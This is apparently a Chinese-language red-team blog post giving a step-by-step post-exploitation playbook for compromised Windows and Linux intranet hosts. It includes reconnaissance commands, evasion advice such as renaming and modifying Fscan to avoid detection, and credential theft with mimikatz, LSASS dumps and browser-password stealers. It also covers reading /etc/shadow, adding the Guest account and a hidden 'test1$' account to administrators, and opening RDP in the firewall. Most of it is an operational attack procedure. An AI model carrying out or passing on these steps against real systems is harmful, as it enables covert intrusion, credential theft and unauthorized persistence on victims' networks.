总述


本文总结了内网信息收集打点过程当中的所有 常规手法 以及 基本流程。


我们可以收集的信息非常非常多,但是我们肯定要有意识、有选择取舍的去快速收集平常下 关键有用的信息,以下便是总结。

信息收集完了以后我们可以得到:
    1. 内网的网络拓扑图。
    2. 内网其他的存活主机目标 以及 相关服务的主机。
    3. 

Windows

一、网络拓扑

1. 网段信息


通过当前主机的相关 信息收集 来逐步测绘出 目标企业 内网的一个 网段 的 拓扑图,并且帮我们指明当前主机可攻击的方向。
1)主机网卡

快速测绘当前主机的 本地网络信息 以及 网卡信息(涉及几个网卡几个网段)

ipconfig

Pasted image 20250808173122.png

2)路由表信息

指明了针对不同的网段 CIDR 对应的路径 网关,存储了相关路由的就说明有对应的网段么。

网关为 - 在链路上 意思为 主机在这些网段上,与这个网段上的其他主机进行通信时无需额外经过网关。

route print

Pasted image 20250808173628.png

2. 内网其他 主机 发现


仅通过系统自带的相关 命令 及 功能 进行 信息收集 收集 其他主机 的 内网IP 信息,帮我们锁定目标。
1)ARP缓存信息

查看本机存储的相关的 arp 缓存表。

arp -a

Pasted image 20250808174019.png

2)DNS 缓存查询

查看内网的 DNS 服务器,并且很多时候通过内网的 DNS 服务器还能判断当前主机是否在 域 环境当中,以及如果是的话,通过查询 DNS 服务器的方式,顺便直接定位 域控的名称 和 域控ip 了。

ipconfig /displaydns

Pasted image 20250808174340.png

Pasted image 20250808174542.png

3)本地 Host 文件

很多时候其实都忘了查看本地的 hosts 文件了,这个文件也是非常重要的,有时候包含了非常多的信息。

type C:\Windows\System32\drivers\etc\hosts

Pasted image 20250827222644.png

3. 服务发现


通过查询开启的相关服务,来帮我们 快速锁定目标 并 帮我们快速扩大危害,比如提权、获取更多的敏感数据信息等。

因为一般我们服务器的权限都拿下了,服务器上的这些服务那基本上都是 手拿把掐 呀,可以通过本地的相关服务帮我们获取更多敏感信息,而且很多服务是连接到内网其他主机上的,我们可以利用当前主机进行快速横向拿下其他相关联服务的 服务主机。
1)端口分析

通过开启的端口 来 分析对应开启的 相关服务。

netstat -ano

Pasted image 20250808175848.png

2)进程分析

通过开启的进程名判断是否有相关可利用的 相关服务 或 应用进程。

即时通讯软件:
    QQ、微信、钉钉 等 是否存在,我们可以进一步利用。
        钓鱼其他内网用户主机。

tasklist /svc

/svc 是一个整体参数,其中的 "s"、"v"、"c" 并不单独拆分为单独的参数含义,而是组合起来表示 "Services"(服务)相关的功能。

Pasted image 20250808180345.png

3)服务查询

通过 services.msc 图形界面查看服务列表,或执行命令 sc query | findstr /i "apache|nginx|iis|httpd",若存在 Apache2.4、Nginx、World Wide Web Publishing Service(IIS 服务)等服务且状态为 RUNNING,则说明 Web 服务已启动。

以下的命令是查询 服务 当中的 相关 Web 服务的中间件,如果不是以服务的形势启动的,那当然就无法查询到了

sc query | findstr /i "apache|nginx|iis|httpd|mysql|sqlservr"

Pasted image 20250808183821.png

4)AV 防护杀毒

不用多说,我们知道主机受到哪些 杀毒软件、防病毒 的保护,我们才能针对性的做相关的免杀等操作(可在本地测试,过了相关的设备再在 shell 上执行)

以下的这个 WMIC 的语句来实现操作就狠隐蔽,不会引起 HIDS 或 EDR 等安全设备的告警:
    载体合法:依赖系统原生的 wmic.exe,属于可信进程,规避基础进程拦截(如果设置告警就会存在大量的误报);
    行为低危:仅执行读取操作,无高危行为,避开安全设备对高风险操作的重点监控;
    接口正规:通过 WMI 合法接口查询系统信息,符合系统设计逻辑,难以与正常管理操作区分。

wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName,productState,pathToSignedProductExe | findstr /V /B /C:displayName || echo No Antivirus installed

- \\root\SecurityCenter2:这是 Windows 系统预留的 WMI 命名空间,专门用于存储与系统安全中心相关的信息(适用于 Windows Vista 及以上系统)。
- AntiVirusProduct:该命名空间下的一个特定类,其作用就是记录当前系统中已安装的反病毒软件(包括杀毒软件、端点安全工具等)的信息。

    这个类是微软官方定义的,所有正规安全软件(如 360 安全卫士、卡巴斯基、Windows Defender 等)在安装时,都会主动向 AntiVirusProduct 类注册自身信息(如名称、状态、路径等),以便系统安全中心(如 Windows Defender 安全中心)能够识别和管理这些软件。

Pasted image 20250808180831.png

二、敏感文件

1)Web 服务 - 配置文件


通过我们上述的方法,通过查询本地主机开放的 端口、进程(apache、Nginx) 等方法可以推断出当前主机当中存在相关的 Web 服务。

判断出当前主机存在相关的 Web 服务的话,我们就可以去翻相关的 Web 服务的目录文件夹,去查找其当中相关的配置文件:
    1. 可以去搜集相关的 密码信息(若非弱口令、默认密码、无规则密码 而是 有规则可记忆不反人类 的 密码 的话),然后可以尝试进行内网其他主机的登陆测试。
    2. Web 服务通常会对 数据库 进行相关的 读写 等 交互操作,这种操作需要配置数据库相关的凭据的,可以在 Web 服务的配置文件当中找寻相关 数据库服务 的 凭据或账户密码 等信息,方便我们快速横向 数据库服务主机。

Pasted image 20250808182321.png

Pasted image 20250808182351.png

Pasted image 20250808182422.png


本地是 0.0.0.0:1433,数据库服务开在了本地,其他情况可能开在别的主机上,但是这个时候我们依然可以去以 数据库为落点 上线 Shell,再通过数据库服务 进行相关的提权操作。

连接 SQLServer 服务。

Pasted image 20250808182827.png


利用 SQLServer 服务 实现提权

Pasted image 20250808182855.png


上线 Beacon

Pasted image 20250808182906.png

2)文档信息


通过查询各个盘符下的 .xlsx、 .pdf、 .docx 文件来快速找寻相关的敏感信息文件。

当然除了 C盘 肯定还有很多其他别的盘符,要全部都一一列举出来。
.xls 会把 .xlsx、.xlsb 等其他转换的格式文件也都列举出来。

# 查看当前主机都存在哪些盘符
wmic logicaldisk get caption

dir /a /s /b C:\*.xls > C:\Windows\Temp\file.txt
dir /a /s /b C:\*.pdf >> C:\Windows\Temp\file.txt
dir /a /s /b C:\*.doc >> C:\Windows\Temp\file.txt

# 查看 file.txt 文件
type C:\Windows\Temp\file.txt



/a:显示所有属性的文件和目录,包括隐藏文件、系统文件等(默认情况下这些文件不会显示)。
可以理解为 "all"(全部)的缩写,会列出所有类型属性的项目。

/s:递归搜索指定目录及其所有子目录中的文件。
这里搜索范围是 C:\,加上 /s 后会遍历整个 C 盘的所有子文件夹,查找符合条件的文件。

/b:以 “bare format”(精简格式)显示结果,只输出文件名(包括完整路径),不显示额外信息(如大小、日期、摘要等)。
适合在脚本中使用,方便后续处理结果。

Pasted image 20250808185035.png

Pasted image 20250808184545.png

Pasted image 20250808184759.png

3)微信文件


微信这种 即时通讯 软件 传输的文件也非常重要具有参考价值,往往会泄露很多的敏感信息。

dir /s /b C:\"WeChat Files"

Pasted image 20250808185118.png

Pasted image 20250808185122.png

三、工具 - 针对 其他主机 信息收集

1)工具


# Fscan
https://github.com/shadow1ng/fscan

# Kscan
https://github.com/lcvvvv/kscan

# dismap
https://github.com/zhzyker/dismap

原则
0. 工具分工合作,根据工具自身的优势专项的 仔细使用。
1. 安静
2. 不被发现
3. 尽量用正常的协议
4. 尽量用改造过的⼯具

dismap:
    Web 资产扫的很好,也会带一些漏洞利用、指纹提取、协议、端口 等等。最常用于扫 Web。

Fscan:
    扫服务、端口、一些普通的漏洞,但是我们 Fscan 都是二开的并且会很仔细的去用它,而不是一上来就当作默认的方式。

Kscan:
    在内网当中去找存活,找完存活就不用了。

此处以 Fscan 进行相关的举例:
    1. 根据不同的需求定向的使用命令进行操作的实现,而不是直接无脑的全扫,否则会让安全设备大量的告警,一下就被发现了。
    2. 进行了二开,文件名肯定不为 fscan,而是改为正常的这种文件名进行掩盖,并且相关的选项也进行了修改,避免相关的 命令正则匹配检测,一下就被抓到了。
    3. 禁 ping。
1)主机发现(存活探测)

mysql.exe -i 192.168.3.0/24 -np -m netbios

Pasted image 20250808185750.png

2)定向扫描 MS17-010 漏洞

mysql.exe -i 192.168.3.0/24 -np -m ms17010

Pasted image 20250808190201.png

3)特殊端口资产扫描

mysql.exe -i 192.168.3.0/24 -np -p 22,2222,3389,5900,1433,3066,1521,5432,6379

Pasted image 20250808190210.png

4)其他主机标签识别

这个命令的作用是:快速扫描 192.168.3.0/24 网段内的存活主机和开放端口等基础资产信息(不进行漏洞检测和密码爆破),并将结果保存到 res.txt 文件中。适合用于内网资产的初步探测。

mysql.exe -i 192.168.3.0/24 -np -nobr -nopoc -o res.txt

-np:禁用 ping 探测(不使用 ICMP 协议检测主机是否存活)。
-nobr:禁用爆破功能(不尝试对主机的账号密码进行暴力破解)。
-nopoc:禁用 POC 检测(不检测系统或应用程序的漏洞利用 POC)。
-o res.txt:将扫描结果输出到 res.txt 文件中。

Pasted image 20250808190441.png

2)Cobalt Strike

1)梼杌

Pasted image 20250827151141.png

Pasted image 20250827151246.png


SharpOXID-Find 是用 .NET (通常是 .NET Framework 4.x) 编写的。
    环境不正确。
        | Windows Server 2008 R2    | .NET Framework 3.0     |

Pasted image 20250827151303.png

2)mingy-Qiao

Pasted image 20250827151619.png

Ladon

Pasted image 20250827151709.png

Pasted image 20250827151901.png

SharpWebScan

Pasted image 20250827152008.png


    环境不正确。
        | Windows Server 2008 R2    | .NET Framework 3.0     |

Pasted image 20250827152023.png

Fscan

Pasted image 20250827152146.png

Pasted image 20250827152213.png

Pasted image 20250827152639.png

Pasted image 20250827152724.png

3)神龙拉冬

Pasted image 20250827152841.png

Ladon

Pasted image 20250827152906.png

Pasted image 20250827153238.png

Pasted image 20250827153450.png

Pasted image 20250827153424.png

四、密码凭据收集

1. 主机密码

1)logonpasswords

针对的进程为 winlogon.exe,这个进程是用户认证的界面,提供的是明文的 账户 及 密码。

logonpasswords

mimikatz.exe - privilege::debug - sekurlsa::logonpasswords

Pasted image 20250808191302.png

2)hashdump

hashdump

Pasted image 20250808191343.png

3)巨龙拉冬 - lsass

上面的两种方式 如果内网主机当中有杀软,很容易被拦,这个时候 
    Cobalt Strike - 巨龙拉冬 - 5 本机密码读取 - 8 Dump Lsass 密码

dump 的是 lsass 进程的 hash。读取 dump 的是 lsass 进程的内存当中的数据,不会被杀软拦截,不会被 EDR 检测到的,因为用到的是内存加载的方式。
用插件的这个功能会 dump 下来一个文件,把这个文件下载下来在本地再去解开。

# CS 导出记录了 NTLM Hash 值的文件
Cobalt Strike - 巨龙拉冬 - 5 本机密码读取 - 8 Dump Lsass 密码

# 把生成的二进制 .bin 文件下载保存到本地
download xxx()

# 把下载的 .bin 文件重命名为 .gz 文件的后缀名。并把其中的文件导出,并重命名为 .dmp。
mv xxx.bin xxx.gz
unzip xxx.gz
mv xxx xxx.dmp

# 解密文件
mimikatz.exe
sekurlsa::minidump debug536.dmp
sekurlsa::logonPasswords full

Pasted image 20250808233612.png

Pasted image 20250808234621.png

2. 浏览器密码


https://github.com/QAX-A-Team/BrowserGhost - ATeam
https://github.com/moonD4rk/HackBrowserData - 牛逼!
1)BrowserGhost

BrowserGhost.exe

很久没更新了,Chrome 现在最新版本无法获取账户密码。

Pasted image 20250808194915.png

2)HackBrowserData

hack-browser-data.exe -h

hack-browser-data.exe

Pasted image 20250805165712.png

Pasted image 20250805170022.png

3)应用程序密码凭据

1. RDP
2. MySql
3. SharpDecryptPwd
    1.  Navicat
    2. TeamViewer
    3. FileZilla
    4. WinSCP
    5. XMangager 系列产品(如 Xshell, Xftp)
1)RDP

手动解密
2)Mysql

用十六进制编辑器打开 user.MYD 文件,使用二进制模式查看,即可得到密码 Hash 值:
    81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

Pasted image 20250805161920.png

3)SharpDecryptPwd

# 帮助 - 查看可以 dump 的应用程序(服务)
SharpDecryptPwd.exe

SharpDecryptPwd.exe 要dump的应用程序(服务)
    SharpDecryptPwd.exe Navicat

Pasted image 20250805163747.png

4)文档密码

这些 xlsx 文档当中经常性的记录了相关的账号密码...

dir /a /s /b c:\*.xls
dir /a /s /b c:\*.doc
dir /a /s /b c:\*.pdf

Pasted image 20250808192540.png

五、用户信息

1)当前用户


whoami

# 查看当前用户的详细信息
whoami /all

# 查看当前用户的特权信息
whoami /priv

Pasted image 20250808193807.png

Pasted image 20250808193855.png

2)在线用户


# 查看当前主机上的所有用户
net user

quser
query user

Pasted image 20250808194312.png

3)激活用户

1)激活 Guest

通过激活 Guest 并加入 管理员组,实现权限维持。

net user guest /active:yes
net user guest 1qaz@PASS
net localgroup administrators guest /add
net localgroup administrators

Pasted image 20250808194735.png

Pasted image 20250808194806.png

Pasted image 20250808195049.png

2)激活 administrator

net user administrator /active:yes
net user administrator 1qaz@PASS

Pasted image 20250808195147.png

4)创建后门账户


net user test1$ 1qaz@PASS /add
net localgroup administrators test1$ /add
net localgroup administrators

Pasted image 20250808195731.png

Pasted image 20250808195644.png

Pasted image 20250808195833.png

六、RDP 相关操作

Pasted image 20250808200415.png

1)查看RDP端⼝


reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

Pasted image 20250808200207.png

2)开放RDP服务


reg add "HKLM\SYSTEM\CurrentControlSet\control\Terminal Server" /v fDenyTSConnections /d 0 /t REG_DWORD /f

Pasted image 20250808200308.png

3)开放RDP端⼝


netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

Pasted image 20250808200355.png



Linux

1. 用户信息

1)当前用户


whoami

Pasted image 20250808205652.png

2)在线用户


w

who

Pasted image 20250808205554.png

登录状况


# 当前主机所有用户上次登录时间
lastlog

# 所有登录日志
last

# 仅查看登录失败的日志
lastb

Pasted image 20250808210418.png

2. 网络拓扑

主机网卡


ip a

ip addr

ifconfig

Pasted image 20250808203626.png

3. 内网 其他主机 发现

1)ARP 缓存信息


arp -a

Pasted image 20250808204013.png

2)本地 Host 文件


cat /etc/hosts

Pasted image 20250808204247.png

4. 服务发现

1)端口分析


ss -anltup

netstat -anltup

Pasted image 20250808204427.png

Pasted image 20250808204451.png

2)进程分析


ps -ef

ps -aux

Pasted image 20250808204852.png

5. 主机信息


# 打印可用的系统信息
uname -a

# 打印系统内核版本
uname -r

# 打印系统主机名
uname -n

# 打印系统内核架构 (64bit / 32bit)
uname -m

# 系统主机名
hostname

# 发行版信息
lsb_release -a

# 内核版本
cat /proc/version

Pasted image 20250808205353.png

6. 敏感信息

1)用户相关敏感文件


cat /etc/passwd
cat /etc/shadow
cat /etc/group

Pasted image 20250808205826.png

Pasted image 20250808205903.png

Pasted image 20250808205911.png

2)计划任务


运维人员喜欢把自己用的相关脚本文件写到计划任务当中,脚本当中又包含了很多的敏感信息。

crontab -l

cat /var/spool/cron/*
cat /etc/cron*
        /etc/cron.d
        /etc/cron.hourly
        /etc/cron.daily
        /etc/cron.weekly
        /etc/cron.monthly
        /etc/cron.yearly
        /etc/crontab

Pasted image 20250808211426.png

3)历史命令


history

cat /root/.bash_history

Pasted image 20250808211509.png

Pasted image 20250808211600.png

4)Web 服务 - 敏感文件


可能 Web 服务是 Docker 搭建的,那么就要进入 Docker 容器当中去查看这些 Web 路径下的文件。

docker exec -it [docker_container_id]/[docker_container_name] /bin/bash
1)Web 中间件路径

/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/usr/lib/php.ini
/etc/nginx/nginx.conf
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/Zend/etc/php.ini
/var/apache2/config.inc
/var/httpd/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/www/conf/httpd.conf
/web/conf/php.ini
/www/conf/httpd.conf
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf

2)数据库路径


/etc/init.d/mysql
/etc/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/share/mysql/my.cnf

Pasted image 20250808211928.png

文章作者: QiaoShen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
红队实践 Windows 主机信息收集
喜欢就支持一下吧